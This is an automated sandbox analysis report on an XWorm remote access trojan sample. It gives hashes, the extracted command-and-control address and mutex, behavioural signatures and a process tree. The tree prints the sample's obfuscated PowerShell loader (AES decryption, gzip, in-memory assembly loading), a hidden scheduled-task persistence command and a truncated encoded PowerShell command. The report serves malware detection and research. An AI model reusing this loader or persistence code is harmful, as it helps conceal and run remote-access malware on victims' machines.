xworm | 7080afe880f4d2a47768e330511d39aea114a2a6f108b7ab04122e2d73d0311a

Analysis

max time kernel
49s
max time network
50s
platform
windows11-21h2_x64
resource
win11-20240611-en
resource tags

arch:x64arch:x86image:win11-20240611-enlocale:en-usos:windows11-21h2-x64system
submitted
13/06/2024, 00:28

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
index.exe
Size 36.9MB
Sample240613-ast3eaxblh
SHA256 7080afe880f4d2a47768e330511d39aea114a2a6f108b7ab04122e2d73d0311a
MD5 accfedf067b33342b1cd360f7eed62c8
SHA1 2243dedcc74348081ce668793ff75301db5e3474
SHA512 36f985c0051ddff4a47f7f843a3ad655b549601f6f342a07b7ae71d26252986e5129897bc7d5bb8548e484e248bb54eaa006ec56617956cdc69651d8d94b69d2
SSDEEP 393216:f1Du8BtuBw2FEL3Z3aLUoQvo6LP/SgbSpYvKEh1EdKwlGQKPJuGsiTfREsrgCYfN:fMguj8Q4VfvgqFTrYff
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

xworm execution rat trojan

Malware Config

Extracted

Family

xworm

Version

today-minnesota.gl.at.ply.gg:15118

Mutex

XGhgHqjZ3WXf4kNE

Attributes

install_file
USB.exe

aes.plain

Signatures

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral2/memory/3988-208-0x0000027EBF870000-0x0000027EBF87E000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm

Blocklisted process makes network request 1 IoCs

flow	pid	Process
2	3988	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 8 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1536	powershell.exe
3988	powershell.exe
1512	powershell.exe
1412	powershell.exe
640	powershell.exe
1116	powershell.exe
2180	powershell.exe
480	powershell.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\Tasks\$rundll_414_str	svchost.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies data under HKEY_USERS 8 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Classes\Local Settings\MuiCache\2a\52C64B7E\@%SystemRoot%\System32\fveui.dll,-844 = "BitLocker Data Recovery Agent"	svchost.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Classes\Local Settings\MuiCache\2a\52C64B7E\@%SystemRoot%\System32\wuaueng.dll,-400 = "Windows Update"	svchost.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Classes\Local Settings\MuiCache\2a\52C64B7E\@%SystemRoot%\system32\WindowsPowerShell\v1.0\powershell.exe,-124 = "Document Encryption"	svchost.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Classes\Local Settings\MuiCache\2a\52C64B7E\@%SystemRoot%\system32\NgcRecovery.dll,-100 = "Windows Hello Recovery Key Encryption"	svchost.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Classes\Local Settings\MuiCache\2a\52C64B7E\@%SystemRoot%\System32\ci.dll,-100 = "Isolated User Mode (IUM)"	svchost.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Classes\Local Settings\MuiCache\2a\52C64B7E\@%SystemRoot%\System32\ci.dll,-101 = "Enclave"	svchost.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Classes\Local Settings\MuiCache\2a\52C64B7E\@%SystemRoot%\system32\dnsapi.dll,-103 = "Domain Name System (DNS) Server Trust"	svchost.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Classes\Local Settings\MuiCache\2a\52C64B7E\@%SystemRoot%\System32\fveui.dll,-843 = "BitLocker Drive Encryption"	svchost.exe

Modifies registry class 16 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-952492217-3293592999-1071733403-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\Software\Microsoft\SystemCertificates	svchost.exe
Key created	\REGISTRY\USER\S-1-5-21-952492217-3293592999-1071733403-1000_Classes\Local Settings	powershell.exe
Key created	\REGISTRY\USER\S-1-5-21-952492217-3293592999-1071733403-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\HAM\AUI\App	svchost.exe
Key created	\REGISTRY\USER\S-1-5-21-952492217-3293592999-1071733403-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\HAM\AUI\App\V1	svchost.exe
Key created	\REGISTRY\USER\S-1-5-21-952492217-3293592999-1071733403-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\HAM\AUI\App\V1\LU	svchost.exe
Key created	\REGISTRY\USER\S-1-5-21-952492217-3293592999-1071733403-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-952492217-3293592999-1071733403-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\HAM\AUI\App\V1\LU\PTT = "133627123234839165"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-952492217-3293592999-1071733403-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\HAM\AUI\App\V1\LU\PCT = "133627123192338829"	svchost.exe
Key created	\REGISTRY\USER\S-1-5-21-952492217-3293592999-1071733403-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\Software\Microsoft\SystemCertificates\AuthRoot\AutoUpd	svchost.exe
Key created	\REGISTRY\USER\S-1-5-21-952492217-3293592999-1071733403-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\Software	svchost.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-952492217-3293592999-1071733403-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\Software\Microsoft\SystemCertificates\AuthRoot\AutoUpd = 6aec931b29bdda01	svchost.exe
Key created	\REGISTRY\USER\S-1-5-21-952492217-3293592999-1071733403-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\Software\Microsoft\SystemCertificates\AuthRoot	svchost.exe
Key created	\REGISTRY\USER\S-1-5-21-952492217-3293592999-1071733403-1000_Classes\Local Settings	powershell.exe
Key created	\REGISTRY\USER\S-1-5-21-952492217-3293592999-1071733403-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy	svchost.exe
Key created	\REGISTRY\USER\S-1-5-21-952492217-3293592999-1071733403-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\HAM\AUI	svchost.exe
Key created	\REGISTRY\USER\S-1-5-21-952492217-3293592999-1071733403-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\Software\Microsoft	svchost.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
5056	powershell.exe
5056	powershell.exe
1116	powershell.exe
1116	powershell.exe
5032	powershell.exe
5032	powershell.exe
2180	powershell.exe
2180	powershell.exe
480	powershell.exe
480	powershell.exe
1536	powershell.exe
1536	powershell.exe
3988	powershell.exe
3988	powershell.exe
3988	powershell.exe
3988	powershell.exe
3988	powershell.exe
3988	powershell.exe
3988	powershell.exe
3988	powershell.exe
3988	powershell.exe
3988	powershell.exe
3988	powershell.exe
3988	powershell.exe
3988	powershell.exe
3988	powershell.exe
3988	powershell.exe
3988	powershell.exe
3988	powershell.exe
3988	powershell.exe
3988	powershell.exe
3988	powershell.exe
3988	powershell.exe
3988	powershell.exe
3988	powershell.exe
3988	powershell.exe
3988	powershell.exe
3988	powershell.exe
3988	powershell.exe
3988	powershell.exe
3988	powershell.exe
3988	powershell.exe
3988	powershell.exe
3988	powershell.exe
3988	powershell.exe
3988	powershell.exe
3988	powershell.exe
3988	powershell.exe
3988	powershell.exe
3988	powershell.exe
3988	powershell.exe
3988	powershell.exe
3988	powershell.exe
3988	powershell.exe
3988	powershell.exe
3988	powershell.exe
1512	powershell.exe
1512	powershell.exe
3988	powershell.exe
3988	powershell.exe
3988	powershell.exe
1412	powershell.exe
1412	powershell.exe
1412	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	5056	powershell.exe
Token: SeDebugPrivilege	1116	powershell.exe
Token: SeDebugPrivilege	5032	powershell.exe
Token: SeDebugPrivilege	2180	powershell.exe
Token: SeDebugPrivilege	480	powershell.exe
Token: SeDebugPrivilege	1536	powershell.exe
Token: SeIncreaseQuotaPrivilege	1536	powershell.exe
Token: SeSecurityPrivilege	1536	powershell.exe
Token: SeTakeOwnershipPrivilege	1536	powershell.exe
Token: SeLoadDriverPrivilege	1536	powershell.exe
Token: SeSystemProfilePrivilege	1536	powershell.exe
Token: SeSystemtimePrivilege	1536	powershell.exe
Token: SeProfSingleProcessPrivilege	1536	powershell.exe
Token: SeIncBasePriorityPrivilege	1536	powershell.exe
Token: SeCreatePagefilePrivilege	1536	powershell.exe
Token: SeBackupPrivilege	1536	powershell.exe
Token: SeRestorePrivilege	1536	powershell.exe
Token: SeShutdownPrivilege	1536	powershell.exe
Token: SeDebugPrivilege	1536	powershell.exe
Token: SeSystemEnvironmentPrivilege	1536	powershell.exe
Token: SeRemoteShutdownPrivilege	1536	powershell.exe
Token: SeUndockPrivilege	1536	powershell.exe
Token: SeManageVolumePrivilege	1536	powershell.exe
Token: 33	1536	powershell.exe
Token: 34	1536	powershell.exe
Token: 35	1536	powershell.exe
Token: 36	1536	powershell.exe
Token: SeIncreaseQuotaPrivilege	1536	powershell.exe
Token: SeSecurityPrivilege	1536	powershell.exe
Token: SeTakeOwnershipPrivilege	1536	powershell.exe
Token: SeLoadDriverPrivilege	1536	powershell.exe
Token: SeSystemProfilePrivilege	1536	powershell.exe
Token: SeSystemtimePrivilege	1536	powershell.exe
Token: SeProfSingleProcessPrivilege	1536	powershell.exe
Token: SeIncBasePriorityPrivilege	1536	powershell.exe
Token: SeCreatePagefilePrivilege	1536	powershell.exe
Token: SeBackupPrivilege	1536	powershell.exe
Token: SeRestorePrivilege	1536	powershell.exe
Token: SeShutdownPrivilege	1536	powershell.exe
Token: SeDebugPrivilege	1536	powershell.exe
Token: SeSystemEnvironmentPrivilege	1536	powershell.exe
Token: SeRemoteShutdownPrivilege	1536	powershell.exe
Token: SeUndockPrivilege	1536	powershell.exe
Token: SeManageVolumePrivilege	1536	powershell.exe
Token: 33	1536	powershell.exe
Token: 34	1536	powershell.exe
Token: 35	1536	powershell.exe
Token: 36	1536	powershell.exe
Token: SeIncreaseQuotaPrivilege	1536	powershell.exe
Token: SeSecurityPrivilege	1536	powershell.exe
Token: SeTakeOwnershipPrivilege	1536	powershell.exe
Token: SeLoadDriverPrivilege	1536	powershell.exe
Token: SeSystemProfilePrivilege	1536	powershell.exe
Token: SeSystemtimePrivilege	1536	powershell.exe
Token: SeProfSingleProcessPrivilege	1536	powershell.exe
Token: SeIncBasePriorityPrivilege	1536	powershell.exe
Token: SeCreatePagefilePrivilege	1536	powershell.exe
Token: SeBackupPrivilege	1536	powershell.exe
Token: SeRestorePrivilege	1536	powershell.exe
Token: SeShutdownPrivilege	1536	powershell.exe
Token: SeDebugPrivilege	1536	powershell.exe
Token: SeSystemEnvironmentPrivilege	1536	powershell.exe
Token: SeRemoteShutdownPrivilege	1536	powershell.exe
Token: SeUndockPrivilege	1536	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 716 wrote to memory of 3496	716	index.exe	81
PID 716 wrote to memory of 3496	716	index.exe	81
PID 716 wrote to memory of 4720	716	index.exe	82
PID 716 wrote to memory of 4720	716	index.exe	82
PID 3496 wrote to memory of 5056	3496	cmd.exe	83
PID 3496 wrote to memory of 5056	3496	cmd.exe	83
PID 5056 wrote to memory of 2396	5056	powershell.exe	84
PID 5056 wrote to memory of 2396	5056	powershell.exe	84
PID 2396 wrote to memory of 2456	2396	csc.exe	85
PID 2396 wrote to memory of 2456	2396	csc.exe	85
PID 4720 wrote to memory of 1456	4720	cmd.exe	86
PID 4720 wrote to memory of 1456	4720	cmd.exe	86
PID 4720 wrote to memory of 1116	4720	cmd.exe	87
PID 4720 wrote to memory of 1116	4720	cmd.exe	87
PID 1116 wrote to memory of 5032	1116	powershell.exe	89
PID 1116 wrote to memory of 5032	1116	powershell.exe	89
PID 5032 wrote to memory of 5028	5032	powershell.exe	91
PID 5032 wrote to memory of 5028	5032	powershell.exe	91
PID 5028 wrote to memory of 1656	5028	cmd.exe	92
PID 5028 wrote to memory of 1656	5028	cmd.exe	92
PID 5028 wrote to memory of 2180	5028	cmd.exe	93
PID 5028 wrote to memory of 2180	5028	cmd.exe	93
PID 4248 wrote to memory of 4812	4248	cmd.exe	99
PID 4248 wrote to memory of 4812	4248	cmd.exe	99
PID 4248 wrote to memory of 480	4248	cmd.exe	100
PID 4248 wrote to memory of 480	4248	cmd.exe	100
PID 480 wrote to memory of 1536	480	powershell.exe	101
PID 480 wrote to memory of 1536	480	powershell.exe	101
PID 480 wrote to memory of 4036	480	powershell.exe	103
PID 480 wrote to memory of 4036	480	powershell.exe	103
PID 4036 wrote to memory of 3156	4036	WScript.exe	104
PID 4036 wrote to memory of 3156	4036	WScript.exe	104
PID 3988 wrote to memory of 3208	3988	powershell.exe	53
PID 3988 wrote to memory of 2552	3988	powershell.exe	42
PID 3988 wrote to memory of 3536	3988	powershell.exe	71
PID 3988 wrote to memory of 1164	3988	powershell.exe	20
PID 3988 wrote to memory of 1156	3988	powershell.exe	19
PID 3988 wrote to memory of 4504	3988	powershell.exe	63
PID 3988 wrote to memory of 3512	3988	powershell.exe	55
PID 3988 wrote to memory of 2524	3988	powershell.exe	41
PID 3988 wrote to memory of 1728	3988	powershell.exe	29
PID 3988 wrote to memory of 3500	3988	powershell.exe	54
PID 3988 wrote to memory of 1332	3988	powershell.exe	23
PID 3988 wrote to memory of 2316	3988	powershell.exe	40
PID 3988 wrote to memory of 4084	3988	powershell.exe	61
PID 3988 wrote to memory of 2704	3988	powershell.exe	48
PID 3988 wrote to memory of 1124	3988	powershell.exe	18
PID 3988 wrote to memory of 924	3988	powershell.exe	11
PID 3988 wrote to memory of 2696	3988	powershell.exe	47
PID 3988 wrote to memory of 2888	3988	powershell.exe	50
PID 3988 wrote to memory of 2096	3988	powershell.exe	36
PID 3988 wrote to memory of 1108	3988	powershell.exe	17
PID 3988 wrote to memory of 1300	3988	powershell.exe	22
PID 3988 wrote to memory of 1888	3988	powershell.exe	32
PID 3988 wrote to memory of 2276	3988	powershell.exe	39
PID 3988 wrote to memory of 2668	3988	powershell.exe	46
PID 3988 wrote to memory of 2564	3988	powershell.exe	43
PID 3988 wrote to memory of 2260	3988	powershell.exe	38
PID 3988 wrote to memory of 1592	3988	powershell.exe	25
PID 3988 wrote to memory of 1072	3988	powershell.exe	16
PID 3988 wrote to memory of 72	3988	powershell.exe	15
PID 3988 wrote to memory of 464	3988	powershell.exe	68
PID 3988 wrote to memory of 3812	3988	powershell.exe	72
PID 3988 wrote to memory of 1640	3988	powershell.exe	28

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p
1⤵
- Modifies registry class
PID:804
- C:\Windows\system32\DllHost.exe
  C:\Windows\system32\DllHost.exe /Processid:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}
  2⤵
  PID:4432
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\svchost.bat" "
    3⤵
    PID:1840
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('0r+0kyFBt0CB4/hGdDqpXDDHp0ZFdJ2yISJo1fJ42Xw='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('b2eU97tnvMxgKqltgo/SJg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $keVus=New-Object System.IO.MemoryStream(,$param_var); $mUyJN=New-Object System.IO.MemoryStream; $kYZlL=New-Object System.IO.Compression.GZipStream($keVus, [IO.Compression.CompressionMode]::Decompress); $kYZlL.CopyTo($mUyJN); $kYZlL.Dispose(); $keVus.Dispose(); $mUyJN.Dispose(); $mUyJN.ToArray();}function execute_function($param_var,$param2_var){ $uJZpt=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $mEYQo=$uJZpt.EntryPoint; $mEYQo.Invoke($null, $param2_var);}$HNCvy = 'C:\Users\Admin\AppData\Local\svchost.bat';$host.UI.RawUI.WindowTitle = $HNCvy;$rjaMb=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($HNCvy).Split([Environment]::NewLine);foreach ($ddjCn in $rjaMb) { if ($ddjCn.StartsWith('EyTFRVkAWjarRNfpfcEu')) { $trlof=$ddjCn.Substring(20); break; }}$payloads_var=[string[]]$trlof.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
      4⤵
      PID:5112
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
      4⤵
      Command and Scripting Interpreter: PowerShell
      Modifies registry class
      Suspicious behavior: EnumeratesProcesses
      PID:1512
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName '$rundll_414_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\$svchost_414.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:1412
    - - C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\$svchost_414.vbs"
        5⤵
        
        PID:4880
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\$svchost_414.bat" "
        6⤵
        
        PID:3656
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('0r+0kyFBt0CB4/hGdDqpXDDHp0ZFdJ2yISJo1fJ42Xw='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('b2eU97tnvMxgKqltgo/SJg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $keVus=New-Object System.IO.MemoryStream(,$param_var); $mUyJN=New-Object System.IO.MemoryStream; $kYZlL=New-Object System.IO.Compression.GZipStream($keVus, [IO.Compression.CompressionMode]::Decompress); $kYZlL.CopyTo($mUyJN); $kYZlL.Dispose(); $keVus.Dispose(); $mUyJN.Dispose(); $mUyJN.ToArray();}function execute_function($param_var,$param2_var){ $uJZpt=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $mEYQo=$uJZpt.EntryPoint; $mEYQo.Invoke($null, $param2_var);}$HNCvy = 'C:\Users\Admin\AppData\Roaming\$svchost_414.bat';$host.UI.RawUI.WindowTitle = $HNCvy;$rjaMb=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($HNCvy).Split([Environment]::NewLine);foreach ($ddjCn in $rjaMb) { if ($ddjCn.StartsWith('EyTFRVkAWjarRNfpfcEu')) { $trlof=$ddjCn.Substring(20); break; }}$payloads_var=[string[]]$trlof.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
        7⤵
        
        PID:784
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
        7⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:640
- C:\Windows\system32\backgroundTaskHost.exe
  "C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca
  2⤵
  PID:2996
- C:\Windows\System32\RuntimeBroker.exe
  C:\Windows\System32\RuntimeBroker.exe -Embedding
  2⤵
  PID:1260

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k RPCSS -p
1⤵
PID:924

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:988

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:452

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:72

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork -p
1⤵
PID:1072

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
- Drops file in System32 directory
PID:1108

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1124

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1156

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1164

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netprofm -p -s netprofm
1⤵
PID:1228

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1300

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1332

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1432

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
PID:1592

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p
1⤵
PID:1616

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1628

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1640

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1728

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1784

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1828

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1888

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:2016

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:2024

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:1792

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:2096

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNoNetworkFirewall -p
1⤵
PID:2260

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2276

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2316

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p
1⤵
- Modifies data under HKEY_USERS
- Modifies registry class
PID:2524

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2552

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2564

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
PID:2624

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2668

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
PID:2696

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2704

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:2888

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3208
- C:\Users\Admin\AppData\Local\Temp\index.exe
  "C:\Users\Admin\AppData\Local\Temp\index.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:716
- - C:\Windows\system32\cmd.exe
    cmd.exe /C call powershell -E QQBkAGQALQBUAHkAcABlACAAQAAiAAoAIAAgACAAIAB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQA7AAoAIAAgACAAIAB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAFIAdQBuAHQAaQBtAGUALgBJAG4AdABlAHIAbwBwAFMAZQByAHYAaQBjAGUAcwA7AAoAIAAgACAAIABwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAEMAbwBuAHMAbwBsAGUAVwBpAG4AZABvAHcAVQB0AGkAbABzACAAewAKACAAIAAgACAAIAAgACAAIABbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBrAGUAcgBuAGUAbAAzADIALgBkAGwAbAAiACkAXQAKACAAIAAgACAAIAAgACAAIABwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAEcAZQB0AEMAbwBuAHMAbwBsAGUAVwBpAG4AZABvAHcAKAApADsACgAgACAAIAAgACAAIAAgACAACgAgACAAIAAgACAAIAAgACAAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAdQBzAGUAcgAzADIALgBkAGwAbAAiACkAXQAKACAAIAAgACAAIAAgACAAIABwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAEcAZQB0AFAAYQByAGUAbgB0ACgASQBuAHQAUAB0AHIAIABoAFcAbgBkACkAOwAKAAoAIAAgACAAIAAgACAAIAAgAFsARABsAGwASQBtAHAAbwByAHQAKAAiAHUAcwBlAHIAMwAyAC4AZABsAGwAIgApAF0ACgAgACAAIAAgACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAYgBvAG8AbAAgAFMAaABvAHcAVwBpAG4AZABvAHcAKABJAG4AdABQAHQAcgAgAGgAVwBuAGQALAAgAGkAbgB0ACAAbgBDAG0AZABTAGgAbwB3ACkAOwAKACAAIAAgACAAIAAgACAAI